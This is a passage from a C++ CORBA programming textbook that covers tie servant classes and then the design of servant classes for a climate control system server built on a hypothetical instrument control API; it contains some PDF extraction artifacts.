    POA_MyObject_tie(T & tied_object); 
    POA_MyObject_tie( 
        T &                     tied_object, 
        PortableServer::POA_ptr poa 
    ); 
    POA_MyObject_tie(T * tied_object, CORBA::Booleanrelease = 1); 
    POA_MyObject_tie( 
        T *                     tied_object, 
        PortableServer::POA_ptr poa, 
        CORBA::Boolean          release = 1 
    ); 
    ~POA_MyObject_tie(); 
 
    // Functions to set and get tied object. 
    T *  _tied_object() { return m_tied_object; } 
    void _tied_object(T & obj); 
    void _tied_object(T * obj, CORBA::Boolean release = 1); 
 
    // Functions to set and check tied object ownership. 
    CORBA::Boolean      _is_owner(); 
    void                _is_owner(CORBA::Boolean b); 
 
    // Override IDL methods. 
    virtual CORBA::Long get_value() 
                            throw(CORBA::SystemException); 
 
    // Override PortableServer::ServantBase operations. 
    PortableServer::POA_ptr 
                        _default_POA(); 
 
private: 
    // Pointer to tied object. 
    T *                     m_tied_object; 
    CORBA::Boolean          m_owner; 
    PortableServer::POA_var m_poa; 
 
    // copy and assignment not allowed 
    POA_MyObject_tie(const POA_MyObject_tie &); 
    void operator=(const POA_MyObject_tie &); 
}; 
 
      
The tie class template looks more complicated than it really is. To use a tie class, follow 
these steps. 

Step 1.  
Instantiate the template with a class type that supplies a get_value member function. 

Step 2.  
Create an instance of the instantiated tie template, passing its constructor a pointer or 
reference to an instance of the template parameter class type. This template parameter 
class type instance is called the tied object because it is "tied" into the tie instance. 

Step 3.  



IT-SC book: Advanced CORBA® Programming with C++ 

 343

Register the tie instance with the POA as a servant for a CORBA object. 
When the POA invokes the tie servant's get_value method to carry out a request, the 
tie servant merely delegates the invocation to its tied object, as shown here: 
       
template<class T> 
CORBA::Long 
POA_MyObject_tie<T>:: 
get_value() throw(CORBA::SystemException) 
{ 
    return m_tied_object->get_value(); 
} 
 
      
The rest of the member functions of the tie class template serve to set or get the tied 
object and help with managing its memory. 

9.9.2 Incarnation with Tie Servants 

To create a transient CORBA object using a tie servant, you can invoke _this on the tie 
instance, just as with any other servant. However, you must ensure that before it receives 
any requests, the tie servant has a tied object to which it can delegate those requests. 
 
When you register a tied object with a tie instance for delegation—using either a tie class 
constructor or via the _tied_object modifier function— you have two memory 
management options. 

Step 1.  
You can maintain ownership of the tied object yourself. 

Step 2.  
You can pass a true value for the release parameter of the appropriate constructor or 
of the _tied_object modifier function. The tie instance will adopt the tied object and 
call delete on it in its destructor. 
 
In the following example we show how to use a tied object and a tie instance together to 
implement a servant. We first create the tied object and then pass a pointer to it to the tie 
constructor. In this example we have decided to allocate the tied object on the heap and 
have the tie servant adopt it. We then invoke _this on the tie servant to create a new 
CORBA object and register the tie servant as its implementation, as with the preceding 
example. 
       
// Create a C++ class instance to be our tied object. 
// Assume MyLegacyClass also supports the get_value() method. 
MyLegacyClass * tied_object = new MyLegacyClass; 
 
// Create an instance of the tie class template, using 
// MyLegacyClass as the template parameter. Pass our tied_object 
// pointer to set the tied object. The release parameter defaults 
// to true, so the tie_servant adopts the tied_object. 
POA_MyObject_tie<MyLegacyClass> tie_servant(tied_object); 
 
// Create our object and register our tie_servant as its servant. 
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MyObject_var my_object = tie_servant._this(); 
 
      
As indicated in this example, it is the tie instance, and not the tied object, that is the 
servant that you register with the POA. 

9.9.3 Evaluation of Tie Classes 

Historically, tie classes have been touted as a way to integrate existing C++ class 
hierarchies into CORBA applications. This claim is based on the fact that the classes of 
the tied objects, unlike servant classes, need not inherit from any skeleton classes. 
However, this claim is questionable because a tie servant assumes that its tied object 
supports exactly the same IDL methods it does, all with the same signatures and 
exception specifications. This assumption is therefore not very likely to be true for any 
legacy software that you designed and implemented without regard for CORBA. 
 
One alternative for integrating tied object classes when they do not support the necessary 
methods or correct function signatures is to use template specialization. If a given tied 
object class for the POA_MyObject_tie does not provide a get_value member 
function, you can specialize the POA_MyObject_tie<T>::get_value method to 
supply your own delegating implementation. For example, assume that our tied object 
class, MyLegacyClass, provides a member function named counter_value that 
returns an unsigned short: 
       
#ifndef LEGACY_H_ 
#define LEGACY_H_ 
 
class MyLegacyClass 
{ 
public: 
    unsigned short counter_value(); 
    // ... 
}; 
 
#endif 
 
      
We can specialize the POA_MyObject_tie<T>::get_value method instantiation 
for MyLegacyClass to instead call counter_value. 
       
#include "legacy.h" 
#include "my_objectS.hh" 
 
template<> 
CORBA::Long 
POA_MyObject_tie<MyLegacyClass>:: 
get_value() throw(CORBA::SystemException) 
{ 
    return _tied_object()->counter_value(); 
} 
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Because we have explicitly provided the instantiation for this method, the C++ compiler 
will not instantiate the default implementation. 
 
Although using template specialization in this manner allows for legacy code integration 
using tie class templates, it is probably much easier to write and maintain your own 
specialized tie servant classes. This is because you will likely have to specialize every 
single IDL method for the tie class for each different tied object class type, a task that is 
largely equivalent to writing your own delegating IDL method implementations. 
Furthermore, some C++ compilers still have trouble dealing with template specializations, 
so you might encounter portability problems using that approach. 
 
Because tie classes use delegation instead of inheritance, they can be useful for 
applications that must avoid inheritance. Sometimes you must avoid complicated servant 
class inheritance because of C++ compiler bugs. However, because of the increasing 
quality of contemporary C++ compilers, problems related to multiple inheritance using 
virtual base classes (common in servant class hierarchies) do not occur as often as they 
once did. A more common situation in which you must avoid inheritance is when you are 
using an object-oriented database (OODB) to store your object implementations. When 
an OODB stores a C++ object, it must not only store all data members inherited by that 
object, it must dereference all pointers held by that object and store the values they point 
to as well. By breaking the inheritance bond between the tied object and the skeleton 
hierarchy, the OODB stores only the tied object and need not store any skeleton data 
members, especially those that might be pointers into the ORB implementation. 
 
In general, the chances are slim to none that anyone has existing non-CORBA C++ 
classes lying around that just happen to provide the exact syntax and semantics to allow 
them to serve as tied objects. This means that you must perform extra work to understand, 
implement, and maintain tie template specializations to smooth over the inevitable 
mismatches between CORBA and your legacy classes. We therefore recommend that 
unless you are storing your C++ objects in an OODB, you avoid using tie classes and 
instead use your own inheritance-based servants. 

9.10 Summary 

We have now completed our initial coverage of the details of implementing CORBA 
servers. Although the examples we show in this chapter are simple compared with real-
world CORBA applications, they present the fundamentals of how to use the POA and 
how to implement CORBA object servants in C++. 
 
Just as with the sample client application shown in Chapter 8, you gain significant 
advantages by writing the server as a CORBA application. 
 
The server is never required to work with details concerning underlying network 
protocols or transports. For example, you never have to determine your machine name, 
open a TCP socket, listen for incoming messages on a network port, or unmarshal 
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network messages into C++ data types. Instead, the ORB and the POA take care of these 
kinds of details. 
 
Whether your clients reside on another machine on the other side of the world or within 
the same server process, your IDL method implementations need not vary. Memory 
management rules for arguments and return values are identical whether a client is 
remote or collocated. 
 
You need not worry about which programming languages were used to implement your 
clients, nor which hardware architectures or operating systems they run on. 
 
These advantages, as well as many others we discuss in Section 8.8, allow you to 
avoid worrying about details of distribution infrastructure and focus instead on 
implementing your applications. 
 
This chapter also completes our presentation of the details of the C++ mapping. We show 
rules for how your server applications must deal with simple types, fixed-length types, 
and variable-length types. Naturally, these rules are only the server-side analog of the 
client-side parameter passing rules we explain in Chapter 7. Although they might seem 
complicated at first, their consistency makes them easy to learn and to use intuitively 
after you work with them for a short time. 
 
Our presentation of using the POA in this chapter was intended to remain at the 
introductory level. We explain just enough to allow you to write simple server 
applications. You should not get the impression that all CORBA servers are as simple as 
what we have shown here. In fact, the type of POA-based application code presented here 
makes up only a small percentage of industrial-strength CORBA applications. As you 
will learn in Chapter 11, the POA has many features that make it scale well with 
respect to several different time/space trade-offs for many different types of applications. 
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Chapter 10. Developing a Server for the Climate 
Control System 

10.1 Chapter Overview 

This chapter presents the source code for a complete climate control system server. 
Section 10.2 introduces the overall implementation strategy, Section 10.3 presents 
the API for the instrument control protocol, and Sections 10.4 to 10.10 show the 
design and implementation of the classes and the main function used in the server. The 
complete source code for the server is listed in Section 10.11. 

10.2 Introduction 

Chapter 9 presents the C++ mapping for the server side, so we are now ready to look at 
a complete server implementation for the climate control system (CCS). (Before reading 
on, you may want to review the CCS IDL in Chapter 5.) 
 
For this implementation, we use a simple strategy: the server maintains exactly one 
instantiated servant for each CORBA object in the system. In other words, the server 
contains a single servant for the controller singleton, and one servant for each device. In 
addition, all objects in the server are transient; if the server shuts down, the server forgets 
all state changes, and object references held by clients become non-functional. The set of 
thermometers and thermostats in the server is fixed, and clients cannot add devices to the 
system or remove them. For now, this simple strategy will be sufficient. (Chapters 11 
and 12 show more sophisticated implementations that are persistent and offer life cycle 
operations.) 
 
Throughout this chapter, we incrementally present the source code for the various server 
components as we discuss them. You can find the full code listing in Section 10.11 at 
the end of this chapter. 

10.3 The Instrument Control Protocol API 

To manipulate thermometers and thermostats from the server, we need an API that 
provides access to our proprietary instrument control protocol. To keep things simple, we 
use a minimal and hypothetical API known as the Instrument Control Protocol (ICP) API. 
( Section A.2 shows an implementation of this API that you can use to simulate a 
network if you want to experiment with the source code in this book.) The API consists 
of four C functions defined in the header file icp.h:[1]  

[1] If you believe that this API is unrealistically primitive, we beg to differ. We have seen real-
life APIs for instrument control that are much worse. 

      
#ifndef _ICP_H 
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#define _ICP_H 
 
extern "C" { {" 
    int ICP_online(unsigned long id);   // Add device 
    int ICP_offline(unsigned long id);  // Remove device 
    int ICP_get(                        // Get attribute 
            unsigned long   id, 
            const char *    attr, 
            void *          value, 
            size_t          len 
        ); 
    int ICP_set(                        // Set attribute 
            unsigned long   id, 
            const char *    attr, 
            const void *    value 
        ); 
} 
 
#endif /* _ICP_H */ 
 
     
The ICP functions use an unsigned long value as a network address. The network 
address of each device must be unique and corresponds to the asset number for 
thermometers and thermostats. All four functions in the ICP API return zero on success 
and -1 on failure. 
 
The ICP network views each device as a collection of attributes. A device's attributes 
correspond directly to its hardware state, such as its register contents. Depending on the 
device type (thermometer or thermostat), an attribute may be read-only or writable. Any 
attribute value can be read, but only writable attribute values can be changed. For the 
climate control system, thermometers and thermostats have the attributes shown in 
Table 10.1. 
 
Note that the MIN_TEMP, MAX_TEMP, and nominal_temp attributes are supported 
only by thermostats. The MIN_TEMP and MAX_TEMP attributes provide the lowest and 
highest permissible setting of the corresponding thermostat, and nominal_temp 
contains the current setting of the thermostat. Attempts to read or write one of these 
attributes on a thermometer are rejected by the thermometer's hardware. Similarly, 
attempts to write to a read-only attribute are also rejected by the hardware. 
 
For string-valued attributes, each device has a fixed 32-byte block of memory to hold the 
string (including a terminating NUL byte). Writing a longer string value for the location 
attribute results in silent truncation. 

Table 10.1.. ICP thermometer attributes. 
Attribute Name Value Type Size in Bytes Mode 

model string = 32 read-only 
location string = 32 writable 
temperature short 2 read-only 
MIN_TEMP[a]  short 2 read-only 
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MAX_TEMP[a] short 2 read-only 
nominal_temp[a] short 2 writable 

[a] Supported by thermostats only. 

10.3.1 Adding and Removing Devices 

       
int ICP_online(unsigned long id); 
int ICP_offline(unsigned long id); 
 
      
We assume that our network does not support hardware discovery. Instead, the network 
must be informed of the existence of a newly connected device by a call to 
ICP_online that specifies the ID of the new device in the id parameter. 
ICP_online fails if the passed ID is already in use by another device. 
 
Similarly, the network must be informed of physical disconnection of devices with a call 
to ICP_offline. The function fails if the passed id does not belong to a device that is 
currently connected to the network. 
 
A more realistic instrument control protocol would be able to discover new devices 
automatically. We have chosen not to do this because it makes it easier to simulate the 
network in software (see Section A.2). 

10.3.2 Reading Attribute Values 

The ICP_get function reads the value of an attribute from the device specified by the 
id parameter. 
       
int ICP_get( 
        unsigned long   id, 
        const char *    attr, 
        void *          value, 
        size_t          len 
    ); 
 
      
The name of the attribute to be read must be supplied as a string in the attr parameter. 
The function copies the attribute value into the value buffer, whose length must be 
provided in the len parameter. 
 
ICP_get uses len to avoid overrunning the value buffer. If the value of an attribute 
does not fit into the value buffer, the value is silently truncated. For numeric attributes, 
ICP_get copies two bytes into value (provided len is at least 2). For string-valued 
attributes, ICP_get copies the NUL-terminated string value of the attribute. If a string-
valued attribute is truncated to len bytes, the truncated string is still NUL-terminated. 
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The function fails and returns -1 if attempts are made to read from a device that is not 
on-line or if attr names a non-existent attribute. 
 
Here is a C code fragment that reads the nominal temperature of device 686: 
       
short temp; 
 
if (ICP_get(686, "nominal_temp", &temp, sizeof(temp))  != 0) { 
    /* No such device or attribute */ 
} else { 
    /* Got temperature */ 
    printf("nominal_temp: %d\n", temp); 
} 
 
      

10.3.3 Writing Attribute Values 

The ICP_set function updates the value of the attribute attr in the device specified 
by the id parameter. 
       
int ICP_set( 
        unsigned long   id, 
        const char *    attr, 
        const void *    value 
    ); 
 
      
The value of the attribute is copied from the value buffer. For string-valued attributes, 
the string stored in the value buffer must be NUL-terminated. If a string is longer than 
32 bytes (including the terminating NUL), it is silently truncated to fit. The function fails 
if attempts are made to set an attribute in a device that is not on-line or attempts are made 
to update a non-existent or read-only attribute. 
 
Here is a C code fragment that updates the value of the location attribute of device 
686: 
       
const char buf[] = "Nearside Kitchen"; 
if (ICP_set(686, "location", buf) != 0) { 
    /* No such device or attribute, or read-only attribute */ 
} else { 
    /* Update was successful */ 
} 
 

10.4 Designing the Thermometer Servant Class 

The basic shape of thermometer servants is determined by the skeleton class produced by 
the IDL compiler. The thermometer servant must at least provide implementations for the 
four attributes in the Thermometer interface, so the basic class header looks like this: 
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class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    // CORBA attributes 
    virtual CCS::ModelType  model() 
                                throw(CORBA::SystemException); 
    virtual CCS::AssetType  asset_num() 
                                throw(CORBA::SystemException); 
    virtual CCS::TempType   temperature() 
                                throw(CORBA::SystemException); 
    virtual CCS::LocType    location() 
                                throw(CORBA::SystemException); 
    virtual void            location(const char * loc) 
                                throw(CORBA::SystemException); 
}; 
 
     
Although we could leave this class as shown, we require a few more features for 
convenient use in our server. 
 
The basic strategy for this implementation is to have one servant instantiated in memory 
for each device on the network. Each servant keeps its own asset number in a member 
variable called m_anum. The asset number (which is also an ICP network address) serves 
as the identity of each device. As you will see in Section 10.6, we use implementation 
inheritance to implement thermostats; the Thermostat_impl servant class inherits 
from the Thermometer_impl class in order to reuse its implementation. To allow the 
derived Thermostat_impl class to access its own identity (provided by the base 
class), we make m_anum a protected member, and, because the identity of a device is 
immutable for its lifetime, the m_anum is a const member. 
 
The ICP API is not exactly a model of convenience. This suggests that we add private 
helper functions to the Thermometer_impl class to hide the details of accessing 
device attributes via the ICP API. We therefore add the helper functions get_model, 
get_temp, get_loc, and set_loc to the class. 
 
Our object model contains the controller as a singleton object. As you will see in 
Section 10.5.3f, it is useful if each servant can access its controller object. Rather 
than make the controller a global variable, we add to the class a public data member 
called m_ctrl of type Controller_impl *, which points at the controller servant 
singleton. Because the member is static, it is shared by all thermometer and thermostat 
servants. 
 
Our class will need a constructor and a destructor. For each instantiated device, the server 
must specify at least the asset number of the device. For this implementation, the 
constructor also accepts a location string. This is necessary because for now, our simple 
server will have a fixed number of devices at predetermined locations. (We discuss in 
Chapter 12 how clients can dynamically add and remove devices.) 
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As with all servant classes, we hide the copy constructor and assignment operator for the 
class because copy and assignment do not usually make sense for servants. 
 
These points result in a class definition for Thermometer_impl as follows: 
      
class Controller_impl; 
 
class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    // CORBA attributes 
    virtual CCS::ModelType  model() 
                                throw(CORBA::SystemException); 
    virtual CCS::AssetType  asset_num() 
                                throw(CORBA::SystemException); 
    virtual CCS::TempType   temperature() 
                                throw(CORBA::SystemException); 
    virtual CCS::LocType    location() 
                                throw(CORBA::SystemException); 
    virtual void            location(const char * loc) 
                                throw(CORBA::SystemException); 
 
    // Constructor and destructor 
    Thermometer_impl(CCS::AssetType anum, const char * location); 
    virtual ~Thermometer_impl(); 
 
    static Controller_impl *    m_ctrl; // My controller 
 
protected: 
    CCS::AssetType              m_anum; // My asset number 
 
private: 
    // Helper functions 
    CCS::ModelType  get_model(); 
    CCS::TempType   get_temp(); 
    CCS::LocType    get_loc(); 
    void            set_loc(const char * new_loc); 
    // Copy and assignment not supported 
    Thermometer_impl(const Thermometer_impl &); 
    void operator=(const Thermometer_impl &); 
}; 
 

10.5 Implementing the Thermometer Servant Class 

The implementation of Thermometer_impl naturally falls into three sections for the 
helper functions, the IDL operations, and the constructor and destructor. 

10.5.1 Thermometer_impl Helper Functions 

The four helper functions encapsulate the ICP API to make life a little easier for the 
remainder of the implementation. We could do without the helper functions. However, 
creating such helper functions—or, even better, helper classes—typically goes a long 
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way toward code maintainability, particularly for complex APIs. In this example, the 
implementation of the helper functions is trivial: 
       
// Helper function to read the model string from a device. 
 
CCS::ModelType 
Thermometer_impl:: 
get_model() 
{ 
 
    char buf[32]; 
    if (ICP_get(m_anum, "model", buf, sizeof(buf)) !=  0) 
        abort(); 
    return CORBA::string_dup(buf); 
} 
// Helper function to read the temperature from a device. 
 
CCS::TempType 
Thermometer_impl:: 
get_temp() 
{ 
    short temp; 
    if (ICP_get(m_anum, "temperature", &temp, sizeof(temp)) != 0) 
        abort(); 
    return temp; 
} 
 
// Helper function to read the location from a device. 
 
CCS::LocType 
Thermometer_impl:: 
get_loc() 
{ 
    char buf[32]; 
    if (ICP_get(m_anum, "location", buf, sizeof(buf)) != 0) 
        abort(); 
    return CORBA::string_dup(buf); 
} 
 
// Helper function to set the location of a device. 
void 
Thermometer_impl:: 
set_loc(const char * loc) 
{ 
    if (ICP_set(m_anum, "location", loc) != 0) 
        abort(); 
} 
 
      
Each function reads or writes the corresponding attribute using the ICP API. Note that in 
our server, errors from the ICP API are assertion failures. Of course, for a more realistic 
server, you should probably log an error message instead of terminating the entire server 
process. 

10.5.2 Thermometer_impl IDL Operations 
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Implementing the attributes of Thermometer is trivial because it requires only a call to 
the corresponding helper function: 
       
// IDL model attribute. 
 
CCS::ModelType 
Thermometer_impl:: 
model() throw(CORBA::SystemException) 
{ 
 
    return get_model(); 
} 
// IDL asset_num attribute. 
CCS::AssetType 
Thermometer_impl:: 
asset_num() throw(CORBA::SystemException) 
{ 
    return m_anum; 
} 
 
// IDL temperature attribute. 
 
CCS::TempType 
Thermometer_impl:: 
temperature() throw(CORBA::SystemException) 
{ 
    return get_temp(); 
} 
// IDL location attribute accessor. 
 
CCS::LocType 
Thermometer_impl:: 
location() throw(CORBA::SystemException) 
{ 
    return get_loc(); 
} 
// IDL location attribute modifier. 
 
void 
Thermometer_impl:: 
location(const char * loc) throw(CORBA::SystemException) 
{ 
    set_loc(loc); 
} 
 
      

10.5.3 Thermometer_impl Constructor and Destructor 

As you saw in Section 10.3, the ICP API does not have functionality to directly 
support the list operation on the controller. This forces us to keep track of the devices 
known to the network ourselves. As you will see in Section 10.8, we do this by keeping 
an STL map in a private data member of the controller implementation; this map allows 
us to locate each instantiated servant by its asset number. 
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When the server creates a Thermometer_impl servant, the constructor of the class 
calls the controller's add_impl member function to add the servant to the controller's 
map. In addition, the constructor initializes the protected m_anum data member, sets the 
location of the device, and marks the device as on-line. Conversely, the destructor 
removes the servant from the controller's map by calling remove_impl and marks the 
device as off-line. 
       
Controller_impl * Thermometer_impl::m_ctrl; // static member 
 
// Constructor. 
 
Thermometer_impl:: 
Thermometer_impl( 
    CCS::AssetType      anum, 
    const char *        location 
) : m_anum(anum) 
{ 
    if (ICP_online(anum) != 0)      // Mark device as on-line 
        abort(); 
    set_loc(location);              // Set location 
    m_ctrl->add_impl(anum, this);   // Add self to map 
} 
 
// Destructor. 
 
Thermometer_impl:: 
~Thermometer_impl() 
{ 
    try { 
        m_ctrl->remove_impl(m_anum); // Remove self from map 
        ICP_offline(m_anum);         // Mark device as off-line 
    } catch (...) { 
        abort();        // Prevent exceptions from escaping 
    } 
} 
 
      
Note that the static data member m_ctrl is initialized in main after the controller 
servant is instantiated (see Section 10.10). 

10.6 Designing the Thermostat Servant Class 

The Thermostat interface is derived from Thermometer, and we are implementing 
both thermometers and thermostats in the same server. Whenever we implement a 
derived interface in the same address space as its base interface, we must make a design 
decision. We can use implementation inheritance by inheriting the base class's 
implementation in the derived class, as shown in Figure 10.1. The main advantage of 
the structure in Figure 10.1 is that we need implement only the operations of 
Thermostat in the derived Thermostat_impl class. Because 
Thermostat_impl inherits from Thermometer_impl, there is no need to 
implement the attributes of the Thermometer base interface in the derived servant. 
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Figure 10.1 Implementation inheritance (generated classes are shaded). 

 
The alternative is to use interface inheritance, which is shown in Figure 10.2. Note that 
in Figure 10.2, Thermostat_impl does not inherit from Thermometer_impl. 
This approach means that Thermostat_impl must implement six virtual functions: 
four to implement the attributes of Thermometer, and two to implement the operations 
of Thermostat. 

Figure 10.2 Interface inheritance (generated classes are shaded). 

 
Which approach is more suitable depends on your design and your requirements. It is 
possible that the implementation of thermometers differs considerably from the one for 
thermostats, for example, if thermometers and thermostats use different protocols (and 
therefore different APIs). In that case, interface inheritance will be the better approach. 
 
On the other hand, if both thermometers and thermostats are implemented using the same 
API, there is no good reason not to reuse the base class implementation and choose 
implementation inheritance. 
 
We point out the difference between the two approaches here because it typically comes 
as a surprise to C++ programmers. In C++, implementation inheritance is the default, and 
you must make special efforts to get interface inheritance only. In contrast, given how 
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implementations are derived from skeletons, the POA leaves the choice completely open 
letting you choose the preferable design. 
 
For our example implementation, we use implementation inheritance. This results in the 
following class definition: 
      
class Thermostat_impl : 
    public virtual POA_CCS::Thermostat, 
    public virtual Thermometer_impl { 
public: 
    // CORBA operations 
    virtual CCS::TempType   get_nominal() 
                                throw(CORBA::SystemException); 
    virtual CCS::TempType   set_nominal( 
                                CCS::TempType new_temp 
                            ) throw( 
                                CORBA::SystemException, 
                                CCS::Thermostat::BadTemp 
                            ); 
 
    // Constructor and destructor 
    Thermostat_impl( 
        CCS::AssetType  anum, 
        const char *    location, 
        CCS::TempType   nominal_temp 
    ); 
    virtual ~Thermostat_impl() {} 
 
private: 
    // Helper functions 
    CCS::TempType   get_nominal_temp() 
    CCS::TempType   set_nominal_temp(CCS::TempType new_temp) 
                        throw(CCS::Thermostat::BadTemp); 
    // Copy and assignment not supported 
    Thermostat_impl(const Thermostat_impl &); 
    void operator=(const Thermostat_impl &); 
}; 
 
     
As with Thermometer_impl, we have added a constructor and a destructor along 
with private helper functions to handle the network API. We have hidden the copy 
constructor and the assignment operator. 

10.7 Implementing the Thermostat Servant Class 

The implementation of this class is mostly straightforward. As before, the 
implementation naturally falls into three sections for the helper functions, the IDL 
operations, and the constructor and destructor. 

10.7.1 Thermostat_impl Helper Functions 
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The implementation of the get_nominal_temp helper simply invokes the 
corresponding ICP_get function. However, for set_nominal_temp, we must do 
extra work because ICP_set neither returns the previous nominal temperature nor 
reports error conditions at the level of detail we require: 
       
// Helper function to get a thermostat's nominal temperature. 
 
CCS::TempType 
Thermostat_impl:: 
get_nominal_temp() 
{ 
 
    short temp; 
    if (ICP_get(m_anum, "nominal_temp", &temp, sizeof (temp)) != 0) 
        abort(); 
    return temp; 
} 
 
// Helper function to set a thermostat's nominal temperature. 
 
CCS::TempType 
Thermostat_impl:: 
set_nominal_temp(CCS::TempType new_temp) 
throw(CCS::Thermostat::BadTemp) 
{ 
    short old_temp; 
 
    // We need to return the previous nominal temperature, 
    // so we first read the current nominal temperature before 
    // changing it. 
    if (ICP_get( 
            m_anum, "nominal_temp", &old_temp, sizeof (old_temp) 
       ) != 0) { 
        abort(); 
    } 
 
    // Now set the nominal temperature to the new value. 
    if (ICP_set(m_anum, "nominal_temp", &new_temp) !=  0) { 
 
        // If ICP_set() failed, read this thermostat's minimum 
        // and maximum so we can initialize the BadTemp exception. 
        CCS::Thermostat::BtData btd; 
        ICP_get( 
            m_anum, "MIN_TEMP", 
            &btd.min_permitted, sizeof(btd.min_permitted) 
        ); 
        ICP_get( 
            m_anum, "MAX_TEMP", 
            &btd.max_permitted, sizeof(btd.max_permitted) 
        ); 
        btd.requested = new_temp; 
        btd.error_msg = CORBA::string_dup( 
            new_temp > btd.max_permitted ? "Too hot" : "Too cold" 
        ); 
        throw CCS::Thermostat::BadTemp(btd); 
    } 
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    return old_temp; 
} 
 
      
Note that set_nominal_temp first reads the current nominal temperature so that it 
can return the previous nominal temperature to the caller. If ICP_set fails, the function 
reads the minimum and maximum permissible settings from the device and uses that data 
to initialize and throw a BadTemp exception. 

10.7.2 Thermostat_impl IDL Operations 

Given the helper functions we just defined, the implementation of the IDL operations of 
Thermostat_impl is trivial. The operations simply forward the call to the 
corresponding helper: 
       
CCS::TempType 
Thermostat_impl:: 
get_nominal() throw(CORBA::SystemException) 
{ 
    return get_nominal_temp(); 
} 
 
// IDL set_nominal operation. 
 
CCS::TempType 
Thermostat_impl:: 
set_nominal(CCS::TempType new_temp) 
throw(CORBA::SystemException, CCS::Thermostat::BadTemp) 
{ 
    return set_nominal_temp(new_temp); 
} 
 
      

10.7.3 Thermostat_impl Constructor and Destructor 

The destructor of Thermostat_impl has an empty inline definition (all the work is 
done by the base class destructor). The constructor passes the relevant parameters to its 
base class constructor and initializes the nominal temperature of the thermostat: 
       
// Constructor. 
 
Thermostat_impl:: 
Thermostat_impl( 
    CCS::AssetType      anum, 
    const char *        location, 
    CCS::TempType       nominal_temp 
) : Thermometer_impl(anum, location) 
{ 
    // Base Thermometer_impl constructor does most of the 
    // work, so we need only set the nominal temperature here. 
    set_nominal_temp(nominal_temp); 



IT-SC book: Advanced CORBA® Programming with C++ 

 360 

} 
 

10.8 Designing the Controller Servant Class 

Designing the controller servant requires a bit more effort, mainly because the ICP API 
does not give us a direct implementation of the list, change, and find operations. 
This immediately implies that the controller servant must keep track of known devices 
itself because there is no way to ask the network which devices are currently on-line. We 
use a private data member called m_assets to keep a collection of instantiated servants. 
The member is an STL map defined as follows: 
      
class Controller_impl : public virtual POA_CCS::Controller { 
public: 
    // ... 
private: 
    // Map of known servants 
    typedef map<CCS::AssetType, Thermometer_impl *> AssetMap; 
    AssetMap m_assets; 
    // ... 
}; 
 
     
m_assets maps asset numbers to servant pointers and allows us to list the known 
devices as well as to search for devices having particular attribute values. 
 
The class definition for the controller servant must provide declarations for the three IDL 
operations list, change, and find. In addition, we add the public helper functions 
add_impl and remove_impl so that the constructor and destructor of thermometer 
servants can keep the controller's list of devices up-to-date. The controller's constructor 
and destructor are empty in this design, and, as usual, we hide the copy constructor and 
assignment operator. This results in the following class definition: 
      
class Controller_impl : public virtual POA_CCS::Controller { 
public: 
    // CORBA operations 
    virtual CCS::Controller::ThermometerSeq * 
                list() throw(CORBA::SystemException); 
    virtual void 
                find(CCS::Controller::SearchSeq & slist) 
                    throw(CORBA::SystemException); 
    virtual void 
                change( 
                    const CCS::Controller::ThermostatSeq & tlist, 
                    CORBA::Short                               delta 
                ) throw( 
                    CORBA::SystemException, 
                    CCS::Controller::EChange 
                ); 
    // Constructor and destructor 
    Controller_impl() {} 
    virtual ~Controller_impl() {} 
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    // Helper functions to allow thermometers and 
    // thermostats to add themselves to the m_assets map 
    // and to remove themselves again. 
    void    add_impl(CCS::AssetType anum, Thermometer_impl * tip); 
    void    remove_impl(CCS::AssetType anum); 
 
private: 
    // Map of known servants 
    typedef map<CCS::AssetType, Thermometer_impl *> A ssetMap; 
    AssetMap m_assets; 
 
    // Copy and assignment not supported 
    Controller_impl(const Controller_impl &); 
    void operator=(const Controller_impl &); 
    // ... 
}; 
 
     
The m_assets map allows us to easily search for devices by asset number using the 
STL standard find algorithm. However, the IDL find operation also requires 
searching by model and location. An easy way to search through a map is to use an STL 
function object that evaluates a predicate for use by the STL standard find_if 
algorithm. Because both model and location are string-valued attributes, we can use 
a single function object to search for either attribute value. The StrFinder class is a 
nested class of Controller_impl and does double duty to search for devices either 
by model or location, depending on the search criterion passed to its constructor. (For 
simplicity, we have inlined the class definition.) 
      
class Controller_impl : public virtual POA_CCS::Controller { 
public: 
    // ... 
private: 
    // ... 
 
    // Function object for the find_if algorithm to search for 
    // devices by location and model string. 
    class StrFinder { 
    public: 
        StrFinder( 
            CCS::Controller::SearchCriterion    sc, 
            const char *                        str 
        ) : m_sc(sc), m_str(str) {} 
        bool operator()( 
            pair<const CCS::AssetType, Thermometer_impl *> & p 
        ) const 
        { 
            switch (m_sc) { 
            case CCS::Controller::LOCATION: 
                return strcmp(p.second->location(), m_str) == 0; 
                break; 
            case CCS::Controller::MODEL: 
                return strcmp(p.second->model(), m_str) == 0; 
                break; 
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            default: 
                abort();                // Precondition violation 
            } 
        } 
    private: 
        CCS::Controller::SearchCriterion    m_sc; 
        const char *                        m_str; 
    }; 
}; 
 

10.9 Implementing the Controller Servant Class 

The implementation of the controller consists of the helper functions and the IDL 
operations list, change, and find. 

10.9.1 Controller_impl Helper Functions 

The implementations of the add_impl and remove_impl helpers are trivial. They 
add and remove the specified entry from the m_assets map of servants: 
       
Controller_impl:: 
add_impl(CCS::AssetType anum, Thermometer_impl * tip) 
{ 
    m_assets[anum] = tip; 
} 
 
// Helper function for thermometers and thermostats to 
// remove themselves from the m_assets map. 
void 
Controller_impl:: 
remove_impl(CCS::AssetType anum) 
{ 
    m_assets.erase(anum); 
} 
 
      

10.9.2 Implementing the list Operation 

The implementation of list is simple. We iterate over the map of devices and construct 
an object reference for each device by calling the _this member function. The return 
value of the operation is a sequence. Sequences are variable-length and must be 
dynamically allocated if they are returned from an operation, so the code allocates the 
return sequence by calling new. Because we know in advance how many elements will 
be placed in the sequence, we use the maximum constructor. Here is the source code: 
       
// IDL list operation. 
 
CCS::Controller::ThermometerSeq * 
Controller_impl:: 
list() throw(CORBA::SystemException) 
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{ 
  
 // Create a new thermometer sequence. Because we know 
    // the number of elements we will put onto the sequence, 
    // we use the maximum constructor. 
    CCS::Controller::ThermometerSeq_var listv 
        = new CCS::Controller::ThermometerSeq(m_asset s.size()); 
    listv->length(m_assets.size()); 
 
    // Loop over the m_assets map and create a 
    // reference for each device. 
    CORBA::ULong count = 0; 
    AssetMap::iterator i; 
    for (i = m_assets.begin(); i != m_assets.end(); i++) 
        listv[count++] = i->second->_this(); 
    return listv._retn(); 
} 
 
      

10.9.3 Implementing the change Operation 

The implementation of change also requires a bit of work because the ICP API does not 
